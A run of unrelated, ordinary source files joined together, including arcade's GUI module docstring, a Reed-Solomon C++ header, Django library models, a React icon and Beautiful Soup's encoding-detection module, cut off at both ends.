2))}[disabled]{--og-input__input-Color:var(--og-input__input-Color--disabled);--og-input__input-BorderColor:var(--og-input__input-BorderColor--disabled)}[type=number]{-moz-appearance:var(--og-input__input-Appearance)}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:var(--og-input__input-Appearance);margin:0}"},enumerable:true,configurable:true});return t}();t("og_number_input",s)}}});
""" Overview -------- This module provides classes which can be used to create a GUI. The central component is the UIManager. You can chose between two of them: - :py:class:`arcade.gui.UIManager` (will be deprecated) - Manages UIElements - Supports hover and focus of UIElements - :py:class:`arcade.gui.UILayoutManager` - Like :py:class:`~arcade.gui.UIManager` - Place UIElements via :py:class:`~arcade.gui.layouts.UILayout` - :py:meth:`~arcade.gui.UILayoutManager.pack()` - Supports window-like modals - :py:meth:`~arcade.gui.UILayoutManager.push()` Starting with :py:class:`~arcade.gui.UIManager` or :py:class:`~arcade.gui.UILayoutManager` you can add new :py:class:`~arcade.gui.UIElement` which will be drawn on top of your other sprites. Creating a UIManager will register to window hooks like `on_key_press`, to handle the interactions automatically. To draw all added elements within a UIManager use `on_draw()`. Details ------- The UI interactions are implemented using Pyglets :py:class:`pyglet.event.EventDispatcher`. The :py:class:`~arcade.gui.UIManager` subscribes to all :py:class:`~arcade.Window` events and converts them into a :py:class:`~arcade.gui.UIEvent` object, which is passed to all added :py:class:`~arcade.gui.UIElement`. Available :py:class:`~arcade.gui.UIElement` * :py:class:`~arcade.gui.UILabel` * :py:class:`~arcade.gui.UIInputBox` * :py:class:`~arcade.gui.UIImageButton` * :py:class:`~arcade.gui.UIFlatButton` * :py:class:`~arcade.gui.UIGhostFlatButton` * :py:class:`~arcade.gui.UIToggle` Within the `layouts` subpackage you will find following implementations: * :py:class:`~arcade.gui.UIBoxLayout` - Places children in a horizontal or vertical line * :py:class:`~arcade.gui.UIAnchorLayout` - Places children relative to `top`, `left`, `bottom`, `right`, `center_x`, or `center_y` Examples -------- Run examples with ``python -m arcade.gui.examples.<example name>`` * show_all - Show all components * show_decorator_example - Show example interaction using event decorators * show_id_example - Use id of :py:class:`~arcade.gui.UIElement` for interaction control * show_image_from_style - Use :py:class:`~arcade.gui.UIStyle` to customize appearance of an element * show_uiflatbutton - :py:class:`~arcade.gui.UIFlatButton` example * show_uiflatbutton_custom_style - :py:class:`~arcade.gui.UIFlatButton` with custom styling * show_uiimagetoggle - Example with an :py:class:`~arcade.gui.UIImageToggle` * show_uiinputbox - Example with an :py:class:`~arcade.gui.UIInputBox` * show_uilabel - Show text with an :py:class:`~arcade.gui.UILabel` * show_uilayouts - Example show of :py:class:`~arcade.gui.UILayouts` * show_uilayouts_hud_inventory - Example how to build a HUD inventory * show_uilayouts_inventory - Example how to build a window-like inventory * show_uilayouts_start_menu - Example how to build a simple start menu """ from arcade.gui import utils from arcade.gui.elements import UIClickable, UIElement from arcade.gui.elements.flat_button import UIFlatButton, UIGhostFlatButton from arcade.gui.elements.image_button import UIImageButton from arcade.gui.elements.inputbox import UIInputBox from arcade.gui.elements.label import UILabel from arcade.gui.elements.toggle import UIToggle, UIImageToggle from arcade.gui.events import ( # deprecated MOUSE_DRAG, MOUSE_PRESS, MOUSE_RELEASE, MOUSE_SCROLL, KEY_PRESS, KEY_RELEASE, TEXT_INPUT, TEXT_MOTION, TEXT_MOTION_SELECTION, RESIZE, MOUSE_MOTION, ) from arcade.gui.events import UIEvent from arcade.gui.exceptions import UIException from arcade.gui.layouts import UILayout from arcade.gui.layouts.anchor import UIAnchorLayout from arcade.gui.layouts.box import UIBoxLayout from arcade.gui.layouts.manager import UILayoutManager from arcade.gui.manager import UIManager from arcade.gui.style import UIStyle __all__ = [ "UIAnchorLayout", "UIBoxLayout", "UIManager", "UILabel", "UIInputBox", "UIClickable", "UIFlatButton", "UIGhostFlatButton", "UIImageButton", "UIToggle", "UIImageToggle", "UILayoutManager", "UILayout", "UIEvent", "UIElement", "UIException", "UILabel", "UIStyle", ### # deprecated, use arcade.gui.events ### "MOUSE_DRAG", "MOUSE_PRESS", "MOUSE_RELEASE", "MOUSE_SCROLL", "KEY_PRESS", "KEY_RELEASE", "TEXT_INPUT", "TEXT_MOTION", "TEXT_MOTION_SELECTION", "RESIZE", "MOUSE_MOTION", ]
// // Created by 理 傅 on 2017/1/1. // #ifndef KCP_REEDSOLOMON_H #define KCP_REEDSOLOMON_H #include "matrix.h" #include "inversion_tree.h" #include "galois.h" class ReedSolomon { public: ReedSolomon() = default; ReedSolomon(int dataShards, int parityShards); // New creates a new encoder and initializes it to // the number of data shards and parity shards that // you want to use. You can reuse this encoder. // Note that the maximum number of data shards is 256. static ReedSolomon New(int dataShards, int parityShards); // Encodes parity for a set of data shards. // An array 'shards' containing data shards followed by parity shards. // The number of shards must match the number given to New. // Each shard is a byte array, and they must all be the same empty. // The parity shards will always be overwritten and the data shards // will remain the same. void Encode(std::vector<row_type> &shards); // Reconstruct will recreate the missing shards, if possible. // // Given a list of shards, some of which contain data, fills in the // ones that don't have data. // // The length of the array must be equal to Shards. // You indicate that a shard is missing by setting it to nil. // // If there are too few shards to reconstruct the missing // ones, ErrTooFewShards will be returned. // // The reconstructed shard set is complete, but integrity is not verified. // Use the Verify function to check if data set is ok. void Reconstruct(std::vector<row_type> &shards); private: int m_dataShards; // Number of data shards, should not be modified. int m_parityShards; // Number of parity shards, should not be modified. int m_totalShards; // Total number of shards. Calculated, and should not be modified. matrix m; inversionTree tree; std::vector<row_type> parity; int shardSize(std::vector<row_type> &shards); // Multiplies a subset of rows from a coding matrix by a full set of // Input shards to produce some output shards. // 'matrixRows' is The rows from the matrix to use. // 'inputs' An array of byte arrays, each of which is one Input shard. // The number of inputs used is determined by the length of each matrix row. // outputs Byte arrays where the computed shards are stored. // The number of outputs computed, and the // number of matrix rows used, is determined by // outputCount, which is the number of outputs to compute. void codeSomeShards(std::vector<row_type> &matrixRows, std::vector<row_type> &inputs, std::vector<row_type> &outputs, int outputCount); // checkShards will check if shards are the same size // or 0, if allowed. An error is returned if this fails. // An error is also returned if all shards are size 0. void checkShards(std::vector<row_type> &shards, bool nilok) ; }; #endif //KCP_REEDSOLOMON_H
# generated by datamodel-codegen: # filename: storage.json from __future__ import annotations from typing import Dict from typing import List from typing import Optional from typing import Union from pydantic import BaseModel from pydantic import Extra class Key(BaseModel): class Config: extra = Extra.forbid nat: str string: str class Value(BaseModel): class Config: extra = Extra.forbid mr: Optional[Union[int, Dict[str, bool]]] sw: Optional[str] class HjklStorageItem(BaseModel): class Config: extra = Extra.forbid key: Key value: Value class HjklStorage(BaseModel): __root__: List[HjklStorageItem]
# coding=utf-8 """ Entrypoint module, in case you use `python -m pylicense-manager`. Why does this file exist, and why __main__? For more info, read: - https://www.python.org/dev/peps/pep-0338/ - https://docs.python.org/2/using/cmdline.html#cmdoption-m - https://docs.python.org/3/using/cmdline.html#cmdoption-m """ from pylicense_manager.cli import main if __name__ == "__main__": main()
from django.db import models from django.contrib.auth.models import User # Create your models here. class Books(models.Model): book_name = models.CharField(max_length=200, null=True) author_name = models.CharField(max_length=200, null=True) category = models.CharField(max_length=200, null=True) book_pages = models.BigIntegerField(null=True) # quantity = models.BigIntegerField(null=True) language = models.CharField(max_length=100, null=True) price = models.BigIntegerField(null=True) isbn_number = models.CharField(max_length=20) doi_number = models.CharField(max_length=100) accession_number = models.CharField(max_length=100, null=True) publisher_name = models.CharField(max_length=200) publisher_date = models.CharField(max_length=100, null=True) shelf_number = models.CharField(max_length=20, null=True) description = models.TextField(max_length=500, null=True) cover_photo = models.ImageField(upload_to='bookCoverPhotos', null=True, blank=True) def __str__(self): return str(self.book_name) class IssueBook(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, null=True) book = models.ForeignKey(Books, on_delete=models.CASCADE, null=True) issue_date = models.DateField(auto_now_add=True, null=True, blank=True) due_date = models.DateField(blank=True, null=True) is_return = models.BooleanField(default=False) issue_status = models.IntegerField(default=0) def __str__(self): return str(self.issue_date) class wish_list(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, null=True) book = models.ForeignKey(Books, on_delete=models.CASCADE, null=True) is_wished = models.BooleanField(default=False) class Meta: unique_together = ('user', 'book',) def __str__(self): return str(self.user) class UserVerification(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) is_verified = models.BooleanField(default=False) verification_status = models.IntegerField(default=0) presentAddress = models.CharField(max_length=400, null=True) dateOfBirth = models.DateField(blank=True, null=True) occupation = models.CharField(max_length=200, null=True) profilePic = models.ImageField(upload_to='profilePic', default='profile.png', null=True, blank=True) payment = models.CharField(max_length=250, null=True, blank=True) def __str__(self): return str(self.user)
import React from 'react'; import { withTheme } from 'styled-components'; const CloseIconWithBorder = withTheme(({ width, height }) => { return ( <> <svg width={`${width}px`} height={`${height}px`} viewBox="0 0 21 21" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M14.5644 6.79141C14.5644 6.68829 14.48 6.60391 14.3769 6.60391L12.8301 6.61094L10.5004 9.38829L8.17304 6.61329L6.62382 6.60626C6.5207 6.60626 6.43633 6.68829 6.43633 6.79376C6.43633 6.83829 6.45273 6.88048 6.48086 6.91563L9.53006 10.5484L6.48086 14.1789C6.45253 14.2133 6.43682 14.2563 6.43633 14.3008C6.43633 14.4039 6.5207 14.4883 6.62382 14.4883L8.17304 14.4813L10.5004 11.7039L12.8277 14.4789L14.3746 14.4859C14.4777 14.4859 14.5621 14.4039 14.5621 14.2984C14.5621 14.2539 14.5457 14.2117 14.5175 14.1766L11.473 10.5461L14.5222 6.91329C14.5504 6.88048 14.5644 6.83594 14.5644 6.79141Z" fill="#262626" /> <path d="M10.5 0C4.70156 0 0 4.70156 0 10.5C0 16.2984 4.70156 21 10.5 21C16.2984 21 21 16.2984 21 10.5C21 4.70156 16.2984 0 10.5 0ZM10.5 19.2188C5.68594 19.2188 1.78125 15.3141 1.78125 10.5C1.78125 5.68594 5.68594 1.78125 10.5 1.78125C15.3141 1.78125 19.2188 5.68594 19.2188 10.5C19.2188 15.3141 15.3141 19.2188 10.5 19.2188Z" fill="#262626" /> </svg> </> ); }); export { CloseIconWithBorder };
from PIL import Image class MosaicTile(object): def __init__(self): pass def createFrom(self, srcImage, width, height): """ Create a resized tile from an image. Args: srcImage: source image filename width, height: size of the tile in pixels """ f = open(srcImage, "rb") self._img = Image.open(f).resize((width, height), Image.NEAREST) # Generate a list of R,G,B-tuples for each pixel in image # and then calculate the average value of each component rgbdata = list(self._img.getdata()) self._avgRGB = self._getAvgColor(rgbdata) f.close() def load(self, filename): f = open(filename, "rb") self._imgData = Image.open(f).getdata() self._tileWidth = self._img.size[0] self._tileHeight = self._img.size[1] self._avgRGB = self._getAvgColor(self._imgData) f.close() def _getAvgColor(self, rgbData): """ Given a sequence of R,G,B-values passed in rgbData (e.g. list of 3-tuples), calculate the average value of each color component. Return a 3-tuple containing the average value of R, G and B components. """ n = len(rgbData) avgR = sum(_nths(rgbData, 0)) / n avgG = sum(_nths(rgbData, 1)) / n avgB = sum(_nths(rgbData, 2)) / n return (avgR, avgG, avgB) def getAvgRGB(self): return self._avgRGB def save(self, fileName): self._img.save(fileName, "JPEG", quality=100) def _nths(x,n): """ Given a list of sequences, returns a list of all the Nth elements of all the contained sequences """ return [l[n] for l in x]
import numpy as np from dipy.tracking.distances import (bundles_distances_mam, bundles_distances_mdf) if __name__ == '__main__': np.random.seed(42) filename_idxs = [0, 1] embeddings = ['DR', 'FLIP'] ks = [5, 20, 40, 100] nbs_points = [20, 64] distance_thresholds = [20.0, 200.0] distance_functions = [bundles_distances_mam, bundles_distances_mdf] for filename_idx in filename_idxs: for embedding in embeddings: for k in ks: for nb_points in nbs_points: for distance_threshold in distance_thresholds: for distance_function in distance_functions: print("EXPERIMENT BEGINS") experiment(filename_idx, embedding, k, distance_function, nb_points, distance_threshold) print("EXPERIMENT ENDS") print("") print("") print("") print("")
var hamburger = document.querySelector(".hamburger"); var menu = document.querySelector(".menu"); hamburger.addEventListener("click", function(event) { event.preventDefault(); hamburger.classList.toggle("hamburger--open"); menu.classList.toggle("menu--open"); }); $('form#contact_form').validate({ messages: { }, submitHandler: function(form) { form.submit(); } });
# -*- coding: utf-8 -*- """Beautiful Soup bonus library: Unicode, Dammit This library converts a bytestream to Unicode through any means necessary. It is heavily based on code from Mark Pilgrim's Universal Feed Parser. It works best on XML and HTML, but it does not rewrite the XML or HTML to reflect a new encoding; that's the tree builder's job. """ # Use of this source code is governed by the MIT license. __license__ = "MIT" import codecs from html.entities import codepoint2name import re import logging import string # Import a library to autodetect character encodings. chardet_type = None try: # First try the fast C implementation. # PyPI package: cchardet import cchardet def chardet_dammit(s): if isinstance(s, str): return None return cchardet.detect(s)['encoding'] except ImportError: try: # Fall back to the pure Python implementation # Debian package: python-chardet # PyPI package: chardet import chardet def chardet_dammit(s): if isinstance(s, str): return None return chardet.detect(s)['encoding'] #import chardet.constants #chardet.constants._debug = 1 except ImportError: # No chardet available. def chardet_dammit(s): return None # Available from http://cjkpython.i18n.org/. # # TODO: This doesn't work anymore and the closest thing, iconv_codecs, # is GPL-licensed. Check whether this is still necessary. try: import iconv_codec except ImportError: pass # Build bytestring and Unicode versions of regular expressions for finding # a declared encoding inside an XML or HTML document. xml_encoding = '^\\s*<\\?.*encoding=[\'"](.*?)[\'"].*\\?>' html_meta = '<\\s*meta[^>]+charset\\s*=\\s*["\']?([^>]*?)[ /;\'">]' encoding_res = dict() encoding_res[bytes] = { 'html' : re.compile(html_meta.encode("ascii"), re.I), 'xml' : re.compile(xml_encoding.encode("ascii"), re.I), } encoding_res[str] = { 'html' : re.compile(html_meta, re.I), 'xml' : re.compile(xml_encoding, re.I) } class EntitySubstitution(object): """The ability to substitute XML or HTML entities for certain characters.""" def _populate_class_variables(): lookup = {} reverse_lookup = {} characters_for_re = [] # &apos is an XHTML entity and an HTML 5, but not an HTML 4 # entity. We don't want to use it, but we want to recognize it on the way in. # # TODO: Ideally we would be able to recognize all HTML 5 named # entities, but that's a little tricky. extra = [(39, 'apos')] for codepoint, name in list(codepoint2name.items()) + extra: character = chr(codepoint) if codepoint not in (34, 39): # There's no point in turning the quotation mark into # &quot; or the single quote into &apos;, unless it # happens within an attribute value, which is handled # elsewhere. characters_for_re.append(character) lookup[character] = name # But we do want to recognize those entities on the way in and # convert them to Unicode characters. reverse_lookup[name] = character re_definition = "[%s]" % "".join(characters_for_re) return lookup, reverse_lookup, re.compile(re_definition) (CHARACTER_TO_HTML_ENTITY, HTML_ENTITY_TO_CHARACTER, CHARACTER_TO_HTML_ENTITY_RE) = _populate_class_variables() CHARACTER_TO_XML_ENTITY = { "'": "apos", '"': "quot", "&": "amp", "<": "lt", ">": "gt", } BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" "&(?!#\\d+;|#x[0-9a-fA-F]+;|\\w+;)" ")") AMPERSAND_OR_BRACKET = re.compile("([<>&])") @classmethod def _substitute_html_entity(cls, matchobj): """Used with a regular expression to substitute the appropriate HTML entity for a special character.""" entity = cls.CHARACTER_TO_HTML_ENTITY.get(matchobj.group(0)) return "&%s;" % entity @classmethod def _substitute_xml_entity(cls, matchobj): """Used with a regular expression to substitute the appropriate XML entity for a special character.""" entity = cls.CHARACTER_TO_XML_ENTITY[matchobj.group(0)] return "&%s;" % entity @classmethod def quoted_attribute_value(self, value): """Make a value into a quoted XML attribute, possibly escaping it. Most strings will be quoted using double quotes. Bob's Bar -> "Bob's Bar" If a string contains double quotes, it will be quoted using single quotes. Welcome to "my bar" -> 'Welcome to "my bar"' If a string contains both single and double quotes, the double quotes will be escaped, and the string will be quoted using double quotes. Welcome to "Bob's Bar" -> "Welcome to &quot;Bob's bar&quot; """ quote_with = '"' if '"' in value: if "'" in value: # The string contains both single and double # quotes. Turn the double quotes into # entities. We quote the double quotes rather than # the single quotes because the entity name is # "&quot;" whether this is HTML or XML. If we # quoted the single quotes, we'd have to decide # between &apos; and &squot;. replace_with = "&quot;" value = value.replace('"', replace_with) else: # There are double quotes but no single quotes. # We can use single quotes to quote the attribute. quote_with = "'" return quote_with + value + quote_with @classmethod def substitute_xml(cls, value, make_quoted_attribute=False): """Substitute XML entities for special XML characters. :param value: A string to be substituted. The less-than sign will become &lt;, the greater-than sign will become &gt;, and any ampersands will become &amp;. If you want ampersands that appear to be part of an entity definition to be left alone, use substitute_xml_containing_entities() instead. :param make_quoted_attribute: If True, then the string will be quoted, as befits an attribute value. """ # Escape angle brackets and ampersands. value = cls.AMPERSAND_OR_BRACKET.sub( cls._substitute_xml_entity, value) if make_quoted_attribute: value = cls.quoted_attribute_value(value) return value @classmethod def substitute_xml_containing_entities( cls, value, make_quoted_attribute=False): """Substitute XML entities for special XML characters. :param value: A string to be substituted. The less-than sign will become &lt;, the greater-than sign will become &gt;, and any ampersands that are not part of an entity defition will become &amp;. :param make_quoted_attribute: If True, then the string will be quoted, as befits an attribute value. """ # Escape angle brackets, and ampersands that aren't part of # entities. value = cls.BARE_AMPERSAND_OR_BRACKET.sub( cls._substitute_xml_entity, value) if make_quoted_attribute: value = cls.quoted_attribute_value(value) return value @classmethod def substitute_html(cls, s): """Replace certain Unicode characters with named HTML entities. This differs from data.encode(encoding, 'xmlcharrefreplace') in that the goal is to make the result more readable (to those with ASCII displays) rather than to recover from errors. There's absolutely nothing wrong with a UTF-8 string containg a LATIN SMALL LETTER E WITH ACUTE, but replacing that character with "&eacute;" will make it more readable to some people. :param s: A Unicode string. """ return cls.CHARACTER_TO_HTML_ENTITY_RE.sub( cls._substitute_html_entity, s) class EncodingDetector: """Suggests a number of possible encodings for a bytestring. Order of precedence: 1. Encodings you specifically tell EncodingDetector to try first (the override_encodings argument to the constructor). 2. An encoding declared within the bytestring itself, either in an XML declaration (if the bytestring is to be interpreted as an XML document), or in a <meta> tag (if the bytestring is to be interpreted as an HTML document.) 3. An encoding detected through textual analysis by chardet, cchardet, or a similar external library. 4. UTF-8. 5. Windows-1252. """ def __init__(self, markup, override_encodings=None, is_html=False, exclude_encodings=None): """Constructor. :param markup: Some markup in an unknown encoding. :param override_encodings: These encodings will be tried first. :param is_html: If True, this markup is considered to be HTML. Otherwise it's assumed to be XML. :param exclude_encodings: These encodings will not be tried, even if they otherwise would be. """ self.override_encodings = override_encodings or [] exclude_encodings = exclude_encodings or [] self.exclude_encodings = set([x.lower() for x in exclude_encodings]) self.chardet_encoding = None self.is_html = is_html self.declared_encoding = None # First order of business: strip a byte-order mark. self.markup, self.sniffed_encoding = self.strip_byte_order_mark(markup) def _usable(self, encoding, tried): """Should we even bother to try this encoding? :param encoding: Name of an encoding. :param tried: Encodings that have already been tried. This will be modified as a side effect. """ if encoding is not None: encoding = encoding.lower() if encoding in self.exclude_encodings: return False if encoding not in tried: tried.add(encoding) return True return False @property def encodings(self): """Yield a number of encodings that might work for this markup. :yield: A sequence of strings. """ tried = set() for e in self.override_encodings: if self._usable(e, tried): yield e # Did the document originally start with a byte-order mark # that indicated its encoding? if self._usable(self.sniffed_encoding, tried): yield self.sniffed_encoding # Look within the document for an XML or HTML encoding # declaration. if self.declared_encoding is None: self.declared_encoding = self.find_declared_encoding( self.markup, self.is_html) if self._usable(self.declared_encoding, tried): yield self.declared_encoding # Use third-party character set detection to guess at the # encoding. if self.chardet_encoding is None: self.chardet_encoding = chardet_dammit(self.markup) if self._usable(self.chardet_encoding, tried): yield self.chardet_encoding # As a last-ditch effort, try utf-8 and windows-1252. for e in ('utf-8', 'windows-1252'): if self._usable(e, tried): yield e @classmethod def strip_byte_order_mark(cls, data): """If a byte-order mark is present, strip it and return the encoding it implies. :param data: Some markup. :return: A 2-tuple (modified data, implied encoding) """ encoding = None if isinstance(data, str): # Unicode data cannot have a byte-order mark. return data, encoding if (len(data) >= 4) and (data[:2] == b'\xfe\xff') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16be' data = data[2:] elif (len(data) >= 4) and (data[:2] == b'\xff\xfe') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16le' data = data[2:] elif data[:3] == b'\xef\xbb\xbf': encoding = 'utf-8' data = data[3:] elif data[:4] == b'\x00\x00\xfe\xff': encoding = 'utf-32be' data = data[4:] elif data[:4] == b'\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] return data, encoding @classmethod def find_declared_encoding(cls, markup, is_html=False, search_entire_document=False): """Given a document, tries to find its declared encoding. An XML encoding is declared at the beginning of the document. An HTML encoding is declared in a <meta> tag, hopefully near the beginning of the document. :param markup: Some markup. :param is_html: If True, this markup is considered to be HTML. Otherwise it's assumed to be XML. :param search_entire_document: Since an encoding is supposed to declared near the beginning of the document, most of the time it's only necessary to search a few kilobytes of data. Set this to True to force this method to search the entire document. """ if search_entire_document: xml_endpos = html_endpos = len(markup) else: xml_endpos = 1024 html_endpos = max(2048, int(len(markup) * 0.05)) if isinstance(markup, bytes): res = encoding_res[bytes] else: res = encoding_res[str] xml_re = res['xml'] html_re = res['html'] declared_encoding = None declared_encoding_match = xml_re.search(markup, endpos=xml_endpos) if not declared_encoding_match and is_html: declared_encoding_match = html_re.search(markup, endpos=html_endpos) if declared_encoding_match is not None: declared_encoding = declared_encoding_match.groups()[0] if declared_encoding: if isinstance(declared_encoding, bytes): declared_encoding = declared_encoding.decode('ascii', 'replace') return declared_encoding.lower() return None class UnicodeDammit: """A class for detecting the encoding of a *ML document and converting it to a Unicode string. If the source encoding is windows-1252, can replace MS smart quotes with their HTML or XML equivalents.""" # This dictionary maps commonly seen values for "charset" in HTML # meta tags to the corresponding Python codec names. It only covers # values that aren't in Python's aliases and can't be determined # by the heuristics in find_codec. CHARSET_ALIASES = {"macintosh": "mac-roman", "x-sjis": "shift-jis"} ENCODINGS_WITH_SMART_QUOTES = [ "windows-1252", "iso-8859-1", "iso-8859-2", ] def __init__(self, markup, override_encodings=[], smart_quotes_to=None, is_html=False, exclude_encodings=[]): """Constructor. :param markup: A bytestring representing markup in an unknown encoding. :param override_encodings: These encodings will be tried first, before any sniffing code is run. :param smart_quotes_to: By default, Microsoft smart quotes will, like all other characters, be converted to Unicode characters. Setting this to 'ascii' will convert them to ASCII quotes instead. Setting it to 'xml' will convert them to XML entity references, and setting it to 'html' will convert them to HTML entity references. :param is_html: If True, this markup is considered to be HTML. Otherwise it's assumed to be XML. :param exclude_encodings: These encodings will not be considered, even if the sniffing code thinks they might make sense. """ self.smart_quotes_to = smart_quotes_to self.tried_encodings = [] self.contains_replacement_characters = False self.is_html = is_html self.log = logging.getLogger(__name__) self.detector = EncodingDetector( markup, override_encodings, is_html, exclude_encodings) # Short-circuit if the data is in Unicode to begin with. if isinstance(markup, str) or markup == '': self.markup = markup self.unicode_markup = str(markup) self.original_encoding = None return # The encoding detector may have stripped a byte-order mark. # Use the stripped markup from this point on. self.markup = self.detector.markup u = None for encoding in self.detector.encodings: markup = self.detector.markup u = self._convert_from(encoding) if u is not None: break if not u: # None of the encodings worked. As an absolute last resort, # try them again with character replacement. for encoding in self.detector.encodings: if encoding != "ascii": u = self._convert_from(encoding, "replace") if u is not None: self.log.warning( "Some characters could not be decoded, and were " "replaced with REPLACEMENT CHARACTER." ) self.contains_replacement_characters = True break # If none of that worked, we could at this point force it to # ASCII, but that would destroy so much data that I think # giving up is better. self.unicode_markup = u if not u: self.original_encoding = None def _sub_ms_char(self, match): """Changes a MS smart quote character to an XML or HTML entity, or an ASCII character.""" orig = match.group(1) if self.smart_quotes_to == 'ascii': sub = self.MS_CHARS_TO_ASCII.get(orig).encode() else: sub = self.MS_CHARS.get(orig) if type(sub) == tuple: if self.smart_quotes_to == 'xml': sub = '&#x'.encode() + sub[1].encode() + ';'.encode() else: sub = '&'.encode() + sub[0].encode() + ';'.encode() else: sub = sub.encode() return sub def _convert_from(self, proposed, errors="strict"): """Attempt to convert the markup to the proposed encoding. :param proposed: The name of a character encoding. """ proposed = self.find_codec(proposed) if not proposed or (proposed, errors) in self.tried_encodings: return None self.tried_encodings.append((proposed, errors)) markup = self.markup # Convert smart quotes to HTML if coming from an encoding # that might have them. if (self.smart_quotes_to is not None and proposed in self.ENCODINGS_WITH_SMART_QUOTES): smart_quotes_re = b"([\x80-\x9f])" smart_quotes_compiled = re.compile(smart_quotes_re) markup = smart_quotes_compiled.sub(self._sub_ms_char, markup) try: #print "Trying to convert document to %s (errors=%s)" % ( # proposed, errors) u = self._to_unicode(markup, proposed, errors) self.markup = u self.original_encoding = proposed except Exception as e: #print "That didn't work!" #print e return None #print "Correct encoding: %s" % proposed return self.markup def _to_unicode(self, data, encoding, errors="strict"): """Given a string and its encoding, decodes the string into Unicode. :param encoding: The name of an encoding. """ return str(data, encoding, errors) @property def declared_html_encoding(self): """If the markup is an HTML document, returns the encoding declared _within_ the document. """ if not self.is_html: return None return self.detector.declared_encoding def find_codec(self, charset): """Convert the name of a character set to a codec name. :param charset: The name of a character set. :return: The name of a codec. """ value = (self._codec(self.CHARSET_ALIASES.get(charset, charset)) or (charset and self._codec(charset.replace("-", ""))) or (charset and self._codec(charset.replace("-", "_"))) or (charset and charset.lower()) or charset ) if value: return value.lower() return None def _codec(self, charset): if not charset: return charset codec = None try: codecs.lookup(charset) codec = charset except (LookupError, ValueError): pass return codec # A partial mapping of ISO-Latin-1 to HTML entities/XML numeric entities. MS_CHARS = {b'\x80': ('euro', '20AC'), b'\x81': ' ', b'\x82': ('sbquo', '201A'), b'\x83': ('fnof', '192'), b'\x84': ('bdquo', '201E'), b'\x85': ('hellip', '2026'), b'\x86': ('dagger', '2020'), b'\x87': ('Dagger', '2021'), b'\x88': ('circ', '2C6'), b'\x89': ('permil', '2030'), b'\x8A': ('Scaron', '160'), b'\x8B': ('lsaquo', '2039'), b'\x8C': ('OElig', '152'), b'\x8D': '?', b'\x8E': ('#x17D', '17D'), b'\x8F': '?', b'\x90': '?', b'\x91': ('lsquo', '2018'), b'\x92': ('rsquo', '2019'), b'\x93': ('ldquo', '201C'), b'\x94': ('rdquo', '201D'), b'\x95': ('bull', '2022'), b'\x96': ('ndash', '2013'), b'\x97': ('mdash', '2014'), b'\x98': ('tilde', '2DC'), b'\x99': ('trade', '2122'), b'\x9a': ('scaron', '161'), b'\x9b': ('rsaquo', '203A'), b'\x9c': ('oelig', '153'), b'\x9d': '?', b'\x9e': ('#x17E', '17E'), b'\x9f': ('Yuml', ''),} # A parochial partial mapping of ISO-Latin-1 to ASCII. Contains # horrors like stripping diacritical marks to turn á into a, but also # contains non-horrors like turning “ into ". MS_CHARS_TO_ASCII = { b'\x80' : 'EUR', b'\x81' : ' ', b'\x82' : ',', b'\x83' : 'f', b'\x84' : ',,', b'\x85' : '...', b'\x86' : '+', b'\x87' : '++', b'\x88' : '^', b'\x89' : '%', b'\x8a' : 'S', b'\x8b' : '<', b'\x8c' : 'OE', b'\x8d' : '?', b'\x8e' : 'Z', b'\x8f' : '?', b'\x90' : '?', b'\x91' : "'", b'\x92' : "'", b'\x93' : '"', b'\x94' : '"', b'\x95' : '*', b'\x96' : '-', b'\x97' : '--', b'\x98' : '~', b'\x99' : '(TM)', b'\x9a' : 's', b'\x9b' : '>', b'\x9c' : 'oe', b'\x9d' : '?', b'\x9e' : 'z', b'\x9f' : 'Y', b'\xa0' : ' ', b'\xa1' : '!', b'\xa2' : 'c', b'\xa3' : 'GBP', b'\xa4' : '$', #This approximation is especially parochial--this is the #generic currency symbol. b'\xa5' : 'YEN', b'\xa6' : '|', b'\xa7' : 'S', b'\xa8' : '..', b'\xa9' : '', b'\xaa' : '(th)', b'\xab' : '<<', b'\xac' : '!', b'\xad' : ' ', b'\xae' : '(R)', b'\xaf' : '-', b'\xb0' : 'o', b'\xb1' : '+-', b'\xb2' : '2', b'\xb3' : '3', b'\xb4' : ("'", 'acute'), b'\xb5' : 'u', b'\xb6' : 'P', b'\xb7' : '*', b'\xb8' : ',', b'\xb9' : '1', b'\xba' : '(th)', b'\xbb' : '>>', b'\xbc' : '1/4', b'\xbd' : '1/2', b'\xbe' : '3/4', b'\xbf' : '?', b'\xc0' : 'A', b'\xc1' : 'A', b'\xc2' : 'A', b'\xc3' : 'A', b'\xc4' : 'A', b'\xc5' : 'A', b'\xc6' : 'AE', b'\xc7' : 'C', b'\xc8' : 'E', b'\xc9' : 'E', b'\xca' : 'E', b'\xcb' : 'E', b'\xcc' : 'I', b'\xcd' : 'I', b'\xce' : 'I', b'\xcf' : 'I', b'\xd0' : 'D', b'\xd1' : 'N', b'\xd2' : 'O', b'\xd3' : 'O', b'\xd4' : 'O', b'\xd5' : 'O', b'\xd6' : 'O', b'\xd7' : '*', b'\xd8' : 'O', b'\xd9' : 'U', b'\xda' : 'U', b'\xdb' : 'U', b'\xdc' : 'U', b'\xdd' : 'Y', b'\xde' : 'b', b'\xdf' : 'B', b'\xe0' : 'a', b'\xe1' : 'a', b'\xe2' : 'a', b'\xe3' : 'a', b'\xe4' : 'a', b'\xe5' : 'a', b'\xe6' : 'ae', b'\xe7' : 'c', b'\xe8' : 'e', b'\xe9' : 'e', b'\xea' : 'e', b'\xeb' : 'e', b'\xec' : 'i', b'\xed' : 'i', b'\xee' : 'i', b'\xef' : 'i', b'\xf0' : 'o', b'\xf1' : 'n', b'\xf2' : 'o', b'\xf3' : 'o', b'\xf4' : 'o', b'\xf5' : 'o', b'\xf6' : 'o', b'\xf7' : '/', b'\xf8' : 'o', b'\xf9' : 'u', b'\xfa' : 'u', b'\xfb' : 'u', b'\xfc' : 'u', b'\xfd' : 'y', b'\xfe' : 'b', b'\xff' : 'y', } # A map used when removing rogue Windows-1252/ISO-8859-1 # characters in otherwise UTF-8 documents. # # Note that \x81, \x8d, \x8f, \x90, and \x9d are undefined in # Windows-1252. WINDOWS_1252_TO_UTF8 = { 0x80 : b'\xe2\x82\xac', # € 0x82 : 